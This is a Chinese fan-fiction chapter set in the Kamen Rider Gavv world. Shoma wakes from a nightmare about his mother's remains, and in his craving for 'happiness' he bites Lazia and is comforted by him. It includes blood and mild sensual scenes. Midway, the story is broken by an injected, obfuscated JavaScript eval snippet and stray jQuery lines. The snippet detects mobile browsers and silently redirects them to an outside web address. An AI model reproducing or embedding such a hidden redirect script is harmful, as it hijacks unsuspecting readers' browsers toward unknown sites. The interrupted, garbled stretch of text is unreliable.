生真。
“生真!”
生真于一片血红中醒来,周围的环境太过嘈杂,凌乱的脚步声,机器的轰鸣声,红舌的黏腻声,还有自己魂牵梦绕的声音。
“生真!快跑!”
他霍然睁眼,发觉自己被压在地上,双手被特工反剪在身后,面前是被红舌高高吊起的妈妈,近乎疯狂地朝自己怒吼。
“生真!快跑!”
他迷茫了一瞬,不明白发生了什么,身体却快过大脑,直觉地掏出饱藏变身。
葡萄软糖装甲瞬间覆盖全身,咬咬剑从腹口中一击脱出,仅一剑便把缠在妈妈身上的红舌瞬间割断。
其实现在的状况不太对劲。他踉跄着冲上前握住妈妈的手,温暖而柔软的掌心是那么熟悉。但是很多事情他都不想去思考真实性,想做就应该毫无顾忌地去做,如果真的能有再来一次的机会,他无论怎样都不会再重蹈覆辙。
于是他紧紧抓着这双手,冲出零食工厂,熟练地来到门之长廊。
妈妈说过想要与自己一同回到人类世界,这个愿望马上就会实现了。
他兴奋地推开眼前的门扉,拉着妈妈径直穿过泛着白光的大门。
然而,他的脚下却突然一空,身体直直往下坠落,紧握的双手在自己下坠的一瞬间突兀消失,他连惊恐都来不及就猝然跌落进一大片杂乱硌人的东西里。
一个手掌大小的灰红色事物从空中坠落,摔在了他的面前。
即使根本没看清它的样貌,他也知道那是什么,因为记忆太过深刻,哪怕只是短短一瞬,他也把这事物刻进了自己的心里。
这是被制作成黑暗零食后的人类残骸,是自己的妈妈,被格罗塔捏成了粉末。
他僵在原地,呆呆地看着面前的事物,他不明白明明自己已经救下了妈妈,为什么事情还是朝自己不愿看到的方向发展了。
他几乎连滚带爬地将妈妈贴上自己的心脏,掌心下的器官在疯狂地跳动,似乎想要将妈妈的那一份一起弥补回来。
他跪趴在地上,粗喘着,浑身都失去了力气。周围一片寂静,没有砂糖人,没有眷属,连风都没有。
就在这时,似乎有什么东西一点点勾住了自己的脚腕,他迷茫地回头望去。
那是一双手,一双瘦骨嶙峋,如同被压榨干净之后只剩表皮与骸骨,骷髅一般的手。他极度惊恐地一脚踹开,生生把自己往后挪了两步,这才注意到自己究竟来到了哪里。
四周全部都是与妈妈一样的人类残骸,被压缩成掌心大小的一片,囤放在这道门背后,放眼望去密密麻麻,根本数不清到底有多少。
这里是斯托马克公司囤放工业废料的地方,是一座人类的坟场。
而在压缩人类的下面,还有一些已脱离压缩状态,完全暴露原本模样的人类,就如同刚才勾住自己脚腕的那双手,皮肤贴着骨骼,已经被风干了。
这里有曾经的逝者,但更多的是大型失踪案的受害者,已经被做成了黑暗零食,而躯壳被囤放在这里,永不见天日。
四周隐约传来窸窸窣窣的声音,是人类惊恐的尖叫,越来越清晰,也越来越嘈杂,无孔不入地钻入生真的脑海。
“闭嘴!”
他颤栗着,紧紧闭上双眼,双手捂住耳朵,不想看也不想听,更多冰凉的指骨扣住脚腕,勾住衣服,它们拉扯着自己。
[期待与你地狱相见]
他听到了吉普的声音。
“不要再说了!”
眼前再次变得一片血红,他似乎又回到了嘈杂的工厂,人类的声音还在耳边回荡,只是一道更为威严的声音破开密密麻麻的人类语言。
他说:“你的存在就是个错误。”
生真惊恐地倒吸一口气,冰凉的气息如同不速之客瞬间搅入滚烫的器官,让他猛然升起强烈的反胃感。
他几乎本能地弓起身子,抵着胃部干呕出声,只是胃里空荡荡的,他已经太久没有进食过需要的东西了。
他脱力地软倒下来,眼前是一片黑暗,他看不太清,但四周不再有无休止的窃窃私语,只有轻微的风声,空调机运行的嗡嗡声,和自己杂乱而凶猛的心跳。
似乎感受到熟悉的东西,他缓了缓,跳着雪花的漆黑视野终于逐渐变得清晰。
头顶是一片温柔的紫色,窗边洒进一片月光,正巧铺在自己身上。他还在欢乐游行,躺在自己的床上,室内是有些微凉的温度,空气中伴着花香,大概是幸果小姐的手笔。
刚才的一切似乎只是梦而已。
外面的雨已经不再下了,没有雨声,没有行人,没有车辆,下面的桌子上点着一盏小台灯,散发着幽幽微光。屋子里静悄悄的,好像没有人,当然也没有饱藏,整个世界似乎又只剩下了他一个。
那种强烈的被放逐的感觉如同带刺的荆棘再次绞紧胃部,于是他从床上爬起来,开始急切地翻找手机。
想知道绊斗的状况如何了,想知道飞机上的乘客有没有被救回来,想知道同伴们都去哪了,为什么独独把自己丢在了原地。
很多事情都是越着急就会变得越是糟糕,床铺与桌子被翻得一团糟,书册从柜子上掉落,砸翻了笔筒,数十支彩笔骨碌碌滚落,在寂静的夜里尤为清晰。
生真脱力地半趴在书桌上,紧紧握住根本止不住发颤的双臂,屋内的气温对于他来说有些过于冷了。直到一双更加冰凉的手握住他的手腕,他木然抬起头,银白色的戒指套在修长的指节上,在月光的照耀下一闪一闪地落进了瞳孔里。
[7月20日,城东机场再现大型失踪案作案手法,同时发生原因不明的大爆炸,幸运的是警方及时赶到,被困的受害者全部被成功救出,无人受伤。原因正在持续调查中,请关注官方报道,请勿听信谣言。]
拉齐亚拿了件外衣给生真披上,靠着一侧坐下,静静看着他将新闻翻来覆去看了四五遍,似乎终于确认自己不是在做梦,他放下手机,轻声问道:“绊斗怎么样了?”
“他几天前就醒了,没什么问题。”
见生真朝自己露出疑惑的神色,他耐心地托起对方掌中的手机,点亮屏幕,时间显示在半夜两点,日期是7月27日,星期日。
怪不得月光这么亮,原来暴雨已经过去了。
“兰戈呢?这几天有出现吗?”
“出现过一次。但我们赶过去的时候他已经不见了。”
意思就是又有人被抓了。
生真沉默了一会儿,转头又觉得拉齐亚和绊斗没碰上兰戈是件好事。
“蛋糕王饱藏呢?”
拉齐亚注视了生真片刻,抿了抿嘴从沙发上站起来,走到饱藏小屋面前掏出那只饱藏递给了生真。
上面沾染的血液已经被清洗干净,蛋糕王饱藏再次变回了雪白的模样,只是本该活跃的小家伙躺在生真手中一动不动,既不亲昵地攀上生真的肩头,也不发出除了生真没人听得懂的饱藏语,如同一个普通的小摆件,而不是假面骑士加布的战斗武器。
它似乎真的失去了生命。
“饱藏是需要幸福才能维持生命力的。”生真的指尖擦过蛋糕王尖尖的脑袋,“其实我一直觉得饱藏们永远都不会离开我,但我似乎想错了。”
“在我刚来到人类世界的时候,是饱藏们一直陪伴着我,至少让我在这个陌生的世界里没有那么孤单与无所适从。它们来源于美味的零食,更准确来说,是来源于深藏在人类血液中的幸福与甜蜜,这也是妈妈能够在那里坚持下来的精神支撑。”
生真抬起握着蛋糕王的手,月光洒落其上,给小家伙镀上了一层生动的银色,阴影落下,小黑豆似的眼睛仿佛又一次现出光彩。“所以当我第一次见到饱藏的时候,总觉得它们是妈妈、是人类世界送给我的礼物,也是我与人类世界存在联系的证明。”
井上生真说这话的时候脸上终于浮现出了拉齐亚很久未见的,发自真心的笑容,只是这笑容仅维持了一瞬,便被瞳孔中浓重的无措与悲伤所覆盖了。
“但我已经没有幸福能够给予它们了。”生真似乎并没有注意到这些,自顾自地说道。
他太需要幸福了。他的饱藏在抗议,他的胃在抗议,他全身都在抗议。他就像一个被迫戒断了很久的瘾君子,迫切需要这些东西来填补空洞的身体。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153485|196474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他快撑不住了。
生真转过头,以一副审视的目光望向拉齐亚,看得水母砂糖人头皮发麻,总觉得自己似乎成为了什么很可口的猎物。
他猛得将脸凑到拉齐亚面前,那双大而圆润的下垂眼直勾勾盯向拉齐亚的眼睛,滚烫的呼吸喷洒在常年冰凉的皮肤上,让他的心脏都不安分了起来。
“你的水母毒素,可以再对我用一次吗?”
生真牵起拉齐亚的手,将它扣上了自己的咽喉。
“我需要幸福,哪怕是虚假的也好,求你给我一点吧。”
事情的发展超乎拉齐亚的预料。
他被生真扑倒在沙发上,任由对方像个讨食的小狗在自己身上乱拱,那双带着薄茧的手胡乱地伸进衣服下摆,摸到坚硬的腹口,探入红舌与尖牙,在碰到人皮小偶之后又被无情地拨开。
不知道是因为发着高烧,还是自己确实太凉了,拉齐亚总觉得那双手太过滚烫,激得自己皮肤都泛起了鸡皮疙瘩。
这种行为重复了很多次之后,生真似乎急了,抓住拉齐亚的手腕按在沙发上,张嘴一口咬住了他的肩膀。
这家伙一点都不留力道,犬齿直接刺破冰凉的皮肤,鲜红的血液流淌出来,又被舌头一点点舔去。
他尝到了深海的潮湿凉意,很浓郁,很干净,也很特别。
姓斯托马克的果然每个都是疯子,连井上生真也不例外。毛茸茸的脑袋伏在拉齐亚的身侧,他看不见生真的眼睛,只能感受到因略带凉意的室温轻轻颤栗的皮肤,与从发间滚落的汗水。
伤口不过几秒就愈合了,生真似乎有点不舍得这股味道,循着更为浓郁的气味蹭上水母砂糖人的脖颈。
脉搏在唇上跳动,缓慢而稳定。
被yu----望吞噬的理智勉强回归,生真微微停顿了片刻,轻喘着,转而用犬齿蹭破一点皮肤,在伤口处轻轻厮----磨。
血珠刚渗出就被舌尖卷进了腹腔。掌心下的手腕似乎动了动,于是他将两只手腕并拢在一起,空出另一只手捏住拉齐亚的脸颊,居高临下地审视起对方。拉齐亚还是一副冷淡的样子,似乎无论自己怎么做都没有丝毫动容。
生真泄了气,直言道:“血液和毒素果然还是有区别的,没有幸福,一点也不好吃。”
拉齐亚挣脱开生真的手,同样捏住了对方的脸颊,手感比之前差了太多,这段时间消瘦了不少,比起曾经充满稚气的可爱,如今似乎更接近少年的硬朗。
已经长得比科梅尔大了。
“毒素本来就不是给你吃的,血液也不是。你是狗吗?”
大概确实太消耗体力了,生真忽略了拉齐亚小小的抗议,脱力地躺倒在他的身上,双手搂住脖颈,脑袋埋进肩窝,于是拉齐亚顺势就满满拥住了滚烫的身躯。
这个动作很有安全感,终于让生真消停了下来,只留有一盏小灯的欢乐游行又只剩下两个人交//chan的呼吸声,他似乎已经不再害怕了。
心脏隔着衣料跳得急促而疯狂,颈侧滚烫的呼吸随着心率忽快忽慢,哪怕生真极力压抑着,拉齐亚依然听到了泄出的细微shen//yin,大概是真的很痛苦。
于是他收紧了自己的臂膀,哪怕怀里的人实在太过滚烫,而他是深海水母,并不适应这样的温度。
“我觉得我快要离开这里了。”生真顿了顿,语气中带上了一丝委屈,“都是吉普的错。”
“怎么这样甩锅。”拉齐亚无奈地轻笑一声,抬手轻抚上对方的脑袋,“别这么想,我们都在这里。”
“嗯。我不想离开,我还想守护妈妈的世界。”
生真吸了吸鼻子,将双臂搂得更紧。若有似无的糖果香缓缓缠上拉齐亚的鼻尖,在这肌肤贴着肌肤的距离,他终于再次闻到了这股味道,不再是血液中散溢出来的血红色,而是来自发丝与皮肤,是温柔的紫色。
拉齐亚后知后觉地意识到糖果香并没有完全消失,心中泛起一丝庆幸,这意味着还有时间,一切还有回转的余地。
如果可以的话,他希望他们几个能够成为生真的锚,让这仅有的一丝糖果香永远都不会消失。